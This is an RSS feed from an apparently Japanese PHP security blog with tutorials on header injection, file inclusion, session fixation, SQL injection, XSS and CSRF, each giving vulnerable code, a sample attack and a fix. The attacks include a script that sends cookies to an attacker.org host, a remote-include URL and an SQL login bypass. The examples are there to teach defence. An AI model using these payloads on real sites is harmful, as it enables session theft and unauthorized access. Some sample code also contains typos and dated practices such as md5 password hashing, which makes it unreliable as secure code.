<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>@blog.justoneplanet.info &#187; セキュリティ</title>
	<atom:link href="http://blog.justoneplanet.info/category/computer-language/php/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.justoneplanet.info</link>
	<description>日々勉強</description>
	<lastBuildDate>Sat, 04 Feb 2012 11:10:47 +0000</lastBuildDate>
	<language>ja</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>HTTPヘッダインジェクションを防ぐ</title>
		<link>http://blog.justoneplanet.info/2009/12/07/http%e3%83%98%e3%83%83%e3%83%80%e3%82%a4%e3%83%b3%e3%82%b8%e3%82%a7%e3%82%af%e3%82%b7%e3%83%a7%e3%83%b3%e3%82%92%e9%98%b2%e3%81%90/</link>
		<comments>http://blog.justoneplanet.info/2009/12/07/http%e3%83%98%e3%83%83%e3%83%80%e3%82%a4%e3%83%b3%e3%82%b8%e3%82%a7%e3%82%af%e3%82%b7%e3%83%a7%e3%83%b3%e3%82%92%e9%98%b2%e3%81%90/#comments</comments>
		<pubDate>Sun, 06 Dec 2009 17:17:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[セキュリティ]]></category>

		<guid isPermaLink="false">http://blog.justoneplanet.info/?p=2152</guid>
		<description><![CDATA[PHP5.1.2以前を使っている場合は特に気をつけねばならない。以下のようにHTTPヘッダにユーザ入力の値が入るとする。 header(&#34;Location: http://sample.org/{$input} [...]]]></description>
			<content:encoded><![CDATA[<p>PHP5.1.2以前を使っている場合は特に気をつけねばならない。以下のようにHTTPヘッダにユーザ入力の値が入るとする。</p>
<pre class="brush: php;">
header(&quot;Location: http://sample.org/{$input}&quot;);
</pre>
<h3>■攻撃</h3>
<p>$inputに改行が入っていた場合に成立する。</p>
<pre class="brush: php;">
$input = '\n\n&lt;script type=&quot;text/javascript&quot;&gt;alert(&quot;attacked&quot;);&lt;/script&gt;';
</pre>
<h3>■対策</h3>
<pre class="brush: php;">
header(&quot;Location: http://sample.org/&quot; . strtr($input, array(&quot;\r&quot; =&gt; '', &quot;\n&quot; =&gt; '')));
</pre>
<p>但し、PHP5.1.2以降ではインジェクションに対する実装として、一度に複数のヘッダを送信することができなくなり改行コードは削除されるようになった。PHP 5.2.0では<a href="http://blog.ohgaki.net/mopb_25_2007_php_header_space_trimming_b">脆弱性が存在</a>したようだ。</p>
<pre class="brush: php;">
header(&quot;Location: http://sample.org/&quot; . trim($input));
</pre>
<p>現代でも最低限このくらいはした方がよさそうだ。</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.justoneplanet.info/2009/12/07/http%e3%83%98%e3%83%83%e3%83%80%e3%82%a4%e3%83%b3%e3%82%b8%e3%82%a7%e3%82%af%e3%82%b7%e3%83%a7%e3%83%b3%e3%82%92%e9%98%b2%e3%81%90/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Shared Hosting</title>
		<link>http://blog.justoneplanet.info/2009/05/26/php-shared-hosting/</link>
		<comments>http://blog.justoneplanet.info/2009/05/26/php-shared-hosting/#comments</comments>
		<pubDate>Tue, 26 May 2009 08:08:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[セキュリティ]]></category>

		<guid isPermaLink="false">http://blog.justoneplanet.info/?p=1300</guid>
		<description><![CDATA[■サーバの設定 以下のような、「httpd.conf」や「httpd.include」を考えてみる。 &#60;VIrtualHost 0.0.0.0:80&#62; ServerName sample.org &#60;Di [...]]]></description>
			<content:encoded><![CDATA[<h3>■サーバの設定</h3>
<p>以下のような、「httpd.conf」や「httpd.include」を考えてみる。</p>
<pre class="brush: xml;">
&lt;VIrtualHost 0.0.0.0:80&gt;
    ServerName    sample.org
    &lt;Directory /var/www/httpdocs&gt;
        &lt;IfModule mod_php5.c&gt;
            php_admin_value open_basedir &quot;/var/www:/tmp&quot;
        &lt;/IfModule&gt;
    &lt;/Directory&gt;
&lt;/VirtualHost&gt;
</pre>
<p>「open_basedir」ではPHPがアクセスできるサーバ上のディレクトリを指定することができる。「none」を設定すれば全てのディレクトリにアクセスできるが、セキュリティが下がるので安易にそのような設定をしてはならない。</p>
<h3>■特定の関数を使えなくする</h3>
<p>php.iniに以下のように記述することによって、任意の関数を使用できない状態にすることができる。</p>
<pre class="brush: bash;">
;Disable functions
disable_functions = exec,passthru,shell_exec,system
</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.justoneplanet.info/2009/05/26/php-shared-hosting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP File System Security（ファイルシステムのセキュリティ）</title>
		<link>http://blog.justoneplanet.info/2009/05/26/php-file-system-security%ef%bc%88%e3%83%95%e3%82%a1%e3%82%a4%e3%83%ab%e3%82%b7%e3%82%b9%e3%83%86%e3%83%a0%e3%81%ae%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%ef%bc%89/</link>
		<comments>http://blog.justoneplanet.info/2009/05/26/php-file-system-security%ef%bc%88%e3%83%95%e3%82%a1%e3%82%a4%e3%83%ab%e3%82%b7%e3%82%b9%e3%83%86%e3%83%a0%e3%81%ae%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%ef%bc%89/#comments</comments>
		<pubDate>Tue, 26 May 2009 07:47:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[セキュリティ]]></category>

		<guid isPermaLink="false">http://blog.justoneplanet.info/?p=1298</guid>
		<description><![CDATA[■リモートファイルインクルード 外部の任意のPHPをインクルードさせることができる。従って、サーバのルート権限を奪取することもできてしまう。 以下のコードを考える。 &#60;?php $file = $_GET['fil [...]]]></description>
			<content:encoded><![CDATA[<h3>■リモートファイルインクルード</h3>
<p>外部の任意のPHPをインクルードさせることができる。従って、サーバのルート権限を奪取することもできてしまう。</p>
<p>以下のコードを考える。</p>
<pre class="brush: php;">
&lt;?php
$file = $_GET['file'];
require_once($file);
?&gt;
</pre>
<p>注意しなければならないのは、php.iniの「allow_url_fopen」ディレクティブが「On」になっているとき、リモートでファイルをインクルードできるということである。つまりリクエストが以下のURLのときに、脆弱性となり得る。</p>
<pre class="brush: bash;">

http://sample.org/index.php?file=http://attacker.com/
</pre>
<h4>対策</h4>
<pre class="brush: php;">
&lt;?php
$file = basename($_GET['file']);
require_once($file);
?&gt;
</pre>
<div class="kakomi">
<h5>各関数について</h5>
<dl>
<dt>string <strong>basename</strong>(string $path[, string $suffix])</dt>
<dd>文字列としてパスを与えると、ファイル名の部分だけ返す。</dd>
<dt>string <strong>dirname</strong>(string $path)</dt>
<dd>文字列としてパスを与えると、ディレクトリの部分を返す（ルートからカレントまで）。</dd>
</dl>
</div>
<h3>■ローカルファイルインクルード</h3>
<p>上述の脆弱性があるコードを考える。</p>
<pre class="brush: php;">
&lt;?php
$file = $_GET['file'];
require_once($file);
?&gt;
</pre>
<p>以下のようなリクエストがあった場合、サーバ上のWebに公開されていないファイルが丸見えになってしまう。</p>
<pre class="brush: bash;">

http://sample.org/index.php?file=/usr/passwd.txt
</pre>
<h4>対策</h4>
<p>上述のコードと全く同じようにbasename関数を使ってあげるだけで良い。</p>
<pre class="brush: php;">
&lt;?php
$file = basename($_GET['file']);
require_once($file);
?&gt;
</pre>
<h3>■ディレクトリトラバーサル</h3>
<p>ディレクトリを遡ることを意味する。これもbasename関数を使った上述のコードで防ぐことができる。</p>
<h3>■まとめ</h3>
<p>basename関数を必ず使用してファイル名を確実に抜き出せるようにすること。また、ユーザ入力に依存した任意のファイル名をそのまま使用するのではなく、以下のように極力ホワイトリスト方式を使用する。</p>
<pre class="brush: php;">
&lt;?php
$file_list = array('dog.php', 'cat.php', 'coffee.php');
$file = basename($_GET['file']);
if(in_array($file, $file_list)){
    require_once($file);
}
?&gt;
</pre>
<p>但し、上述の場合はbasename関数がなくても脆弱性にはならない。</p>
<h3>■コマンドインジェクション</h3>
<p>あまり知られていないかもしれないが、PHPからOSのコマンドを入力することも可能である。以下のようにバッククォートを用いても可能だ。</p>
<pre class="brush: php;">
$current_directory = `ls`;
print($current_directory);
</pre>
<p>但し、OSのコマンドにユーザ入力に依存したコードを含めるのは非常に危険であり、アプリケーションでそのようなコードを用いないことを強くお勧めする。</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.justoneplanet.info/2009/05/26/php-file-system-security%ef%bc%88%e3%83%95%e3%82%a1%e3%82%a4%e3%83%ab%e3%82%b7%e3%82%b9%e3%83%86%e3%83%a0%e3%81%ae%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%ef%bc%89/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Session Security（セッションのセキュリティ）</title>
		<link>http://blog.justoneplanet.info/2009/05/26/php-session-security%ef%bc%88%e3%82%bb%e3%83%83%e3%82%b7%e3%83%a7%e3%83%b3%e3%81%ae%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%ef%bc%89/</link>
		<comments>http://blog.justoneplanet.info/2009/05/26/php-session-security%ef%bc%88%e3%82%bb%e3%83%83%e3%82%b7%e3%83%a7%e3%83%b3%e3%81%ae%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%ef%bc%89/#comments</comments>
		<pubDate>Tue, 26 May 2009 07:12:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[セキュリティ]]></category>

		<guid isPermaLink="false">http://blog.justoneplanet.info/?p=1293</guid>
		<description><![CDATA[■セッションフィクセーション セッションのIDを固定化させる方法である。特定のリンクを第三者にクリックさせ任意のセッションIDを付加させる方法である。これにより、攻撃者は第三者のセッションIDを知ることができてしまう。  [...]]]></description>
			<content:encoded><![CDATA[<h3>■セッションフィクセーション</h3>
<p>セッションのIDを固定化させる方法である。特定のリンクを第三者にクリックさせ任意のセッションIDを付加させる方法である。これにより、攻撃者は第三者のセッションIDを知ることができてしまう。</p>
<h4>対策</h4>
<p>まず、「php.ini」の「session.use_only_cookies」を「On」にする。</p>
<pre class="brush: bash;">
session.use_only_cookies = On
</pre>
<p>以下のように、session_start()の後すぐに、session_regenerate_id(true)関数を呼び出す。この関数は、Set-Cookieヘッダーを再度送信し、セッションIDを新しいものに置き換える。但し、デフォルトでは古いセッションファイルを削除しないため、そこまでのセッションデータは古いIDでも取り出すことができてしまう。PHP5.1以降では引数に「true」を設定することで、古いセッションファイルを削除することができる。</p>
<pre class="brush: plain;">
&lt;?php
session_start();
session_regenerate_id(true);
?&gt;
</pre>
<p>但し、一番初めのアクセスはIDを新しくする必要もないので、以下のようにする。</p>
<pre class="brush: php;">
&lt;?php
session_start();
if(!isset($_SESSION['init'])){
    session_regenerate_id(true);
    $_SESSION['init'] = true;
}
?&gt;
</pre>
<h3>■セッションハイジャック</h3>
<h4>対策1</h4>
<p>以下のように、一つ前のリクエストと今回のリクエストのUSER AGENTを調べる。これは、リクエスト毎にブラウザがかわることはない、という前提を利用したチェック方法である。</p>
<pre class="brush: php;">
&lt;?php
if($_SERVER['HTTP_USER_AGENT'] !== $_SESSION['user_agent']){
    exit;
}
?&gt;
</pre>
<h4>重要</h4>
<p>但し、ネットワークの盗聴などをされるとPHPでは防ぎきれないので、完全にセッションハイジャックを防ぎたい場合は、HTTPS通信にしてクッキーにセキュア属性を付加する。</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.justoneplanet.info/2009/05/26/php-session-security%ef%bc%88%e3%82%bb%e3%83%83%e3%82%b7%e3%83%a7%e3%83%b3%e3%81%ae%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%ef%bc%89/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Database Security（データベースのセキュリティ）</title>
		<link>http://blog.justoneplanet.info/2009/05/23/php-database-security%ef%bc%88%e3%83%87%e3%83%bc%e3%82%bf%e3%83%99%e3%83%bc%e3%82%b9%e3%81%ae%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%ef%bc%89/</link>
		<comments>http://blog.justoneplanet.info/2009/05/23/php-database-security%ef%bc%88%e3%83%87%e3%83%bc%e3%82%bf%e3%83%99%e3%83%bc%e3%82%b9%e3%81%ae%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%ef%bc%89/#comments</comments>
		<pubDate>Sat, 23 May 2009 11:07:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[セキュリティ]]></category>

		<guid isPermaLink="false">http://blog.justoneplanet.info/?p=1280</guid>
		<description><![CDATA[すなわちSQLインジェクションのための防御策である。 ■SQLインジェクションの実例 以下のログインフォームで考える。 &#60;form method=&#34;post&#34; action=&#34;logi [...]]]></description>
			<content:encoded><![CDATA[<p>すなわちSQLインジェクションのための防御策である。</p>
<h3>■SQLインジェクションの実例</h3>
<p>以下のログインフォームで考える。</p>
<pre class="brush: xml;">
&lt;form method=&quot;post&quot; action=&quot;login.php&quot;&gt;
Name: &lt;input type=&quot;text&quot; name=&quot;name&quot; /&gt;
Password: &lt;input type=&quot;password&quot; name=&quot;password&quot; /&gt;
&lt;input type=&quot;submit&quot; /&gt;
&lt;/form&gt;
</pre>
<p>以下のコードで存在するユーザかどうか、DBに問い合わせて検証する。</p>
<pre class="brush: php;">
&lt;?php
$password = md5($_POST['password']);
$sql = &quot;SELECT * FROM `user` WHERE `name` = '{$_POST['name']}' AND `password` = '{$password}'&quot;;
?&gt;
</pre>
<p>一見、何の問題も無いようだが、Nameに「1&#8242; OR 1 = 1 &#8211;」とすると以下のSQL文を実行することになる。</p>
<pre class="brush: sql;">
SELECT * FROM `user` WHERE `name` = '1' OR 1 = 1 --' AND `password` = 'password_str'
</pre>
<p>「&#8211;」以降は改行コードまで全てコメントとみなされ、条件「`name` = &#8217;1&#8242;」は殆ど成立しないが、条件「1 = 1」が常に成立し、全てのユーザデータが返ることになる。従って、アルゴリズムにもよるが、ログインが常にできてしまう。</p>
<h4>対策1</h4>
<p>以下のように、プリペアドステートメントを用いる。</p>
<pre class="brush: php;">
&lt;?php
try {
    $dsn = 'mysql:host=localhost;dbname=db';
    $dbh = new PDO($dsn, DB_USER, DB_PASS);
    $dbh-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $dbh-&gt;setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
}
catch(PDOException $e){
    //code
}
$password = md5($_POST['password']);
$sql = &quot;SELECT * FROM `user` WHERE `name` = ? AND `password` = ?&quot;;
$stmt = $dbh-&gt;prepare($sql);
$stmt-&gt;execute(array(
    $_POST['name'],
    $pasword
));
$result = $stmt-&gt;fetchAll();
?&gt;
</pre>
<h4>対策2</h4>
<p>以下のように、エスケープ処理を忘れずに行う。</p>
<pre class="brush: php;">
$dbh = mysql_connect(DB_HOST, DB_USER, DB_PASS);
mysql_select_db(DB_NAME, $dbh);
$password = md5($_POST['password']);
$name = mysql_real_escape_string($_POST['name']);
$sql = &quot;SELECT * FROM `user` WHERE `name` = '{$name}' AND `password` = '{$password}'&quot;;
</pre>
<p>但し、ログインフォームなので大概において英数字のユーザ名なのでフィルタリングすることをお勧めする。</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.justoneplanet.info/2009/05/23/php-database-security%ef%bc%88%e3%83%87%e3%83%bc%e3%82%bf%e3%83%99%e3%83%bc%e3%82%b9%e3%81%ae%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%ef%bc%89/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Website Security（ウェブサイトのセキュリティ）</title>
		<link>http://blog.justoneplanet.info/2009/05/23/php-website-security%ef%bc%88%e3%82%a6%e3%82%a7%e3%83%96%e3%82%b5%e3%82%a4%e3%83%88%e3%81%ae%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%ef%bc%89/</link>
		<comments>http://blog.justoneplanet.info/2009/05/23/php-website-security%ef%bc%88%e3%82%a6%e3%82%a7%e3%83%96%e3%82%b5%e3%82%a4%e3%83%88%e3%81%ae%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%ef%bc%89/#comments</comments>
		<pubDate>Sat, 23 May 2009 05:59:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[セキュリティ]]></category>

		<guid isPermaLink="false">http://blog.justoneplanet.info/?p=1275</guid>
		<description><![CDATA[■なりすまし 以下のようなフォームがある場合を考える。 &#60;form method=&#34;post&#34; action=&#34;register.php&#34;&#62; Name: &#60;inp [...]]]></description>
			<content:encoded><![CDATA[<h3>■なりすまし</h3>
<p>以下のようなフォームがある場合を考える。</p>
<pre class="brush: xml;">
&lt;form method=&quot;post&quot; action=&quot;register.php&quot;&gt;
Name: &lt;input type=&quot;text&quot; name=&quot;name&quot; maxlength=&quot;10&quot; /&gt;
Password: &lt;input type=&quot;password&quot; name=&quot;password&quot; maxlength=&quot;10&quot; /&gt;
Gender:
&lt;select name=&quot;gender&quot;&gt;
&lt;option&gt;male&lt;/option&gt;
&lt;option&gt;female&lt;/option&gt;
&lt;/select&gt;
&lt;input type=&quot;submit&quot; /&gt;
&lt;/form&gt;
</pre>
<p>攻撃者はこのフォームを利用して攻撃するとは限らない。従って、以下のようなHTML上の制限は攻撃者に対しては何の防御策にもならない。</p>
<ul>
<li>maxlengthによる文字数の制限</li>
<li>selectボックスの選択肢による制限</li>
</ul>
<p>上述は例にすぎない。つまり攻撃者は、「任意のフォーム要素」に「任意の値」を制限無く常に送信することができる。従って、register.phpはそのような前提を踏まえてプログラミングしなければならない。攻撃用フォームは全く別のURLに設置しregister.phpにデータを送信するだけで作れてしまうのだ。</p>
<h4>対策</h4>
<ul>
<li>サーバ側でフィルタリングを徹底的に行う</li>
</ul>
<p>リファラーをチェックしたり、ワンタイムトークンを使ったりすれば攻撃の敷居はわずかに高くなるが、決定的な対策とはいえない。</p>
<h3>■クロスサイトスクリプティング</h3>
<p>もっとも有名な攻撃手法の一つでありXSSと略して呼ばれる。以下のようなフォームの場合を考える。</p>
<pre class="brush: xml;">
&lt;form method=&quot;post&quot; action=&quot;register.php&quot;&gt;
Name: &lt;input type=&quot;text&quot; name=&quot;name&quot; /&gt;
&lt;input type=&quot;submit&quot; /&gt;
&lt;/form&gt;
</pre>
<p>上述のデータを以下のプログラムで受け取る。</p>
<pre class="brush: php;">
&lt;p&gt;入力したお名前はコチラです。&lt;/p&gt;
&lt;?php
print($_POST['name']);
?&gt;
</pre>
<p>一見すると、ユーザの入力を表示しているだけに思えるが、「名前」に以下の文字列が入力された場合に脆弱性が露呈する。</p>
<pre class="brush: xml;">
&lt;script type=&quot;text/javascript&quot;&gt;
document.location = 'http://attacker.org/exploit.php?data=' + document.cookie;
&lt;/script&gt;
</pre>
<p>上述のコードを入力されると、結果的にクッキーを攻撃者のサイトに送信されてしまう。もしも、このアプリケーションが不特定多数の人に任意のユーザの入力を表示する掲示板のようなシステムの場合、全てのユーザのクッキーが攻撃者のサイトに送信される。</p>
<h4>対策</h4>
<p>以下のようにユーザ入力をHTML表示させる場合は、適切にサニタイジングを行う。</p>
<pre class="brush: php;">
&lt;p&gt;入力したお名前はコチラです。&lt;/p&gt;
&lt;?php
print(htmlentities($_POST['name'], ENT_QUOTES/*, 'utf-8'*/));
?&gt;
</pre>
<p>但し、htmtentities関数の第二引数はデフォルトでENT_COMPATになっており、シングルクォートがエスケイプされないので、ENT_QUOTESと必ず記述する。（属性値への挿入に耐性をもたせる）</p>
<h3>■クロスサイトリクエストフォージェリーズ</h3>
<p>簡単に説明すると以下のような脆弱性である。</p>
<ol>
<li>Aさんがショッピングサイトにログインし買い物をする</li>
<li>Aさんがログアウトせずに、そのままネットサーフィンをする</li>
<li>Aさんが攻撃者の仕掛けたリンクを偶然クリックする（もしくはimageタグのsrc属性などで強制的にリクエストさせられる）</li>
</ol>
<p>以下のように、リンクにはショッピングサイトの（5000万円の）家の支払い画面のURLが記述されている</p>
<pre class="brush: xml;">
&lt;img src=&quot;http://amazon.com/goods.php?goods=house&amp;price=50000000&amp;order=ok&quot; /&gt;
</pre>
<ol>
<li>Aさんの意志に関係なく、5000万円の支払い契約が成立する</li>
<li>Aさんは破産する</li>
</ol>
<p>一意のURLに紐付けられているアプリケーション側の処理が利用者の意図していない場面で行われてしまうということになる。</p>
<h4>対策</h4>
<pre class="brush: php;">
&lt;?php
session_start();
session_regenerate_id(true);
$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;
?&gt;
&lt;form method=&quot;post&quot; action=&quot;register.php&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;token&quot; value=&quot;&lt;?php print($token); ?&gt;&quot;&gt;
&lt;/form&gt;
</pre>
<div class="kakomi">
<h5>各関数について</h5>
<dl>
<dt>bool <strong>session_start</strong>(void)
<dt>
<dd>セッションをスタートする。セッションを用いる場合は全ての出力より前にコールする必要がある。
<dd>
<dt>bool <strong>session_regenerate_id</strong>([bool $delete_old_session=false])
<dt>
<dd>現在のセッションIDを新しいものに置き換える。セッションIDの固定化を防ぐ目的がある。PHP5.1.0以降では、引数にtrueを設定すると古いセッションファイルを削除する。
<dd>
<dt>string <strong>md5</strong>(string $str[, bool $raw_out_put=false])
<dt>
<dd>与えられた文字列を元に、md5ハッシュ値を返す。
<dd>
<dt>string <strong>uniqid</strong>([string $prefix=''[, bool $more_entropy=false])
<dt>
<dd>一意なIDを取得する。第二引数にtrueを設定することにより、より均一になる。
<dd>
<dt>int <strong>rand</strong>(void)
<dt>
<dd>乱数を生成する。この場合は不要だが、最小値と最大値を決めたい場合は、第一引数と第二引数に記述する。
<dd>
</dl>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.justoneplanet.info/2009/05/23/php-website-security%ef%bc%88%e3%82%a6%e3%82%a7%e3%83%96%e3%82%b5%e3%82%a4%e3%83%88%e3%81%ae%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%ef%bc%89/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Security Concepts and Practices（セキュリティにおける概念と実践）</title>
		<link>http://blog.justoneplanet.info/2009/05/23/php-security-concepts-and-practices%ef%bc%88%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%e3%81%ab%e3%81%8a%e3%81%91%e3%82%8b%e6%a6%82%e5%bf%b5%e3%81%a8%e5%ae%9f%e8%b7%b5%ef%bc%89/</link>
		<comments>http://blog.justoneplanet.info/2009/05/23/php-security-concepts-and-practices%ef%bc%88%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%e3%81%ab%e3%81%8a%e3%81%91%e3%82%8b%e6%a6%82%e5%bf%b5%e3%81%a8%e5%ae%9f%e8%b7%b5%ef%bc%89/#comments</comments>
		<pubDate>Fri, 22 May 2009 16:25:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[セキュリティ]]></category>

		<guid isPermaLink="false">http://blog.justoneplanet.info/?p=1270</guid>
		<description><![CDATA[■全てのユーザ入力は汚れていると思え この位に考えてこそ、セキュアなアプリケーションが作れる。セッションを除く全てのスーパーグローバル変数はユーザ側から編集が可能であり、悪意のあるコードが挟まれる可能性がある。 ■ホワイ [...]]]></description>
			<content:encoded><![CDATA[<h3>■全てのユーザ入力は汚れていると思え</h3>
<p>この位に考えてこそ、セキュアなアプリケーションが作れる。セッションを除く全てのスーパーグローバル変数はユーザ側から編集が可能であり、悪意のあるコードが挟まれる可能性がある。</p>
<h3>■ホワイトリスト方式とブラックリスト方式</h3>
<table>
<tr>
<th></th>
<th>ホワイトリスト方式</th>
<th>ブラックリスト方式</th>
</tr>
<tr>
<th>制限</th>
<td>高</td>
<td>低</td>
</tr>
<tr>
<th>攻撃耐性</th>
<td>高</td>
<td>低</td>
</tr>
</table>
<p>ホワイトリスト方式は、プログラマーが用意したセキュアな形式の（リストの）データがアプリケーションで使われるので、ブラックリスト方式よりも安全であるといえる。ブラックリスト方式は未知のインプット形式が攻撃に使われる可能性があるので、フィルタリングの際には注意が必要である。</p>
<h3>■フィルタリング</h3>
<p>以下のようなフォームを考える。</p>
<pre class="brush: xml;">
&lt;form method=&quot;post&quot; action=&quot;register.php&quot;&gt;
Name: &lt;input type=&quot;text&quot; name=&quot;name&quot; /&gt;
Password: &lt;input type=&quot;password&quot; name=&quot;password&quot; /&gt;
Gender:
&lt;select name=&quot;gender&quot;&gt;
&lt;option&gt;male&lt;/option&gt;
&lt;option&gt;female&lt;/option&gt;
&lt;/select&gt;
&lt;input type=&quot;submit&quot; /&gt;
&lt;/form&gt;
</pre>
<p>上述の場合、ユーザ入力のフィルタリングをするには以下のようにする。</p>
<pre class="brush: php;">
&lt;?php
$genders = array('male', 'female');
$clean = array();
if(ctype_alpha($_POST['name'])){
    $clean['name'] = $_POST['name'];
}
if(ctype_alnum($_POST['password'])){
    $clean['password'] = $_POST['passwprd'];
}
if(in_array($_POST['gender'], $genders, true)){
    $clean['gender'] = $_POST['gender'];
}
?&gt;
</pre>
<p>英語圏のアプリケーションの場合は上述のようなコードで構わないが、日本語の名前が入力される場合は不適当なコードとなる。また、パスワードは英数字を想定している。さらに、セレクトボックスから想定外のデータが飛んでくることも考えられるため、プログラム側で用意した配列と比較して、データの妥当性を調べる。</p>
<div class="kakomi">
<h4>各メソッドについて</h4>
<dl>
<dt>bool <strong>ctype_alpha</strong>(string $text)</dt>
<dd>文字列が[a-zA-Z]の文字で構成されているかどうかをbool値で返す。</dd>
<dt>bool <strong>ctype_alnum</strong>(string $text)</dt>
<dd>文字列が[a-zA-Z0-9]の文字で構成されているかどうかをbool値で返す。</dd>
</dl>
</div>
<h3>■出力のエスケープ</h3>
<h4>ページ表示用変数のエスケープ</h4>
<p>以下のように変数名にhtmlを用いてハッシュ構造とすれば、エスケープし忘れた変数を表示に使用してしまうような人為的ミスを回避できるかもしれない。</p>
<pre class="brush: php;">
&lt;?php
$html = array();
$html['message'] = htmlentities($_POST['message'], ENT_QUOTES/*, 'utf-8'*/);
?&gt;
</pre>
<h4>データベース用のエスケープ</h4>
<p>以下のように、*_escape_string関数を使っても良いが全ての変数を忘れずにエスケープしなくてはならない。また、セキュリティの観点とは異なるが、データベースを変更する際にコードを書き換える手間が増える。</p>
<pre class="brush: php;">
&lt;?php
$dbh = mysql_connect(DB_HOST, DB_USER, DB_PASS);
mysql_select_db(DB_NAME, $dbh);
$name = mysql_real_escape_string($_POST['name']);
$age = mysql_real_escape_string($_POST['age']);
$result = mysql_query(&quot;INSERT INTO `tbl`(`name`, `age`) VALUES('$name', '$age')&quot;);
?&gt;
</pre>
<p>但し、エスケープし忘れるリスクを減らすため、以下のようにプリペアドステートメントをできる限り使用する。プリペアドステートメントを用いれば常にエスケープされる。</p>
<pre class="brush: php;">
&lt;?php
try {
    $dsn = 'mysql:host=localhost;dbname=db';
    $dbh = new PDO($dsn, DB_USER, DB_PASS);
    $dbh-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $dbh-&gt;setAttribute(PDO::EMULATE_PREPARE, true);
}
catch(PDOException $e){
    print($e-&gt;getMessage());
}
$stmt = $dbh-&gt;prepare(&quot;INSERT INTO `tbl`(`name`, `age`) VALUES(?, ?)&quot;);
$stmt-&gt;execute(array($_POST['name'], $_POST['age']));
?&gt;
</pre>
<h4>OSコマンド用のエスケープ</h4>
<p>escapeshellcmdなどの関数が存在するが、OSのコマンドを使うようなアプリケーションの設計を見直したほうが良いか、必ず確認すること。OSのコマンドを叩かれるのは非常に大きなリスクを伴う。</p>
<h3>■レジスターグローバル</h3>
<p>迷わずoffにするべきである。onでないと動かないアプリケーションは相当古いものであり、使用するべきではない可能性が非常に高い。</p>
<p>初期化されていない変数を使った場合に、プログラム実行時からその変数に値が格納されているという状態がアプリケーションの脆弱性になり得るために、PHP4.2.0以降デフォルトではoffにされた。PHP6ではこのディレクティブ自体が消滅する予定である。</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.justoneplanet.info/2009/05/23/php-security-concepts-and-practices%ef%bc%88%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%e3%81%ab%e3%81%8a%e3%81%91%e3%82%8b%e6%a6%82%e5%bf%b5%e3%81%a8%e5%ae%9f%e8%b7%b5%ef%bc%89/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

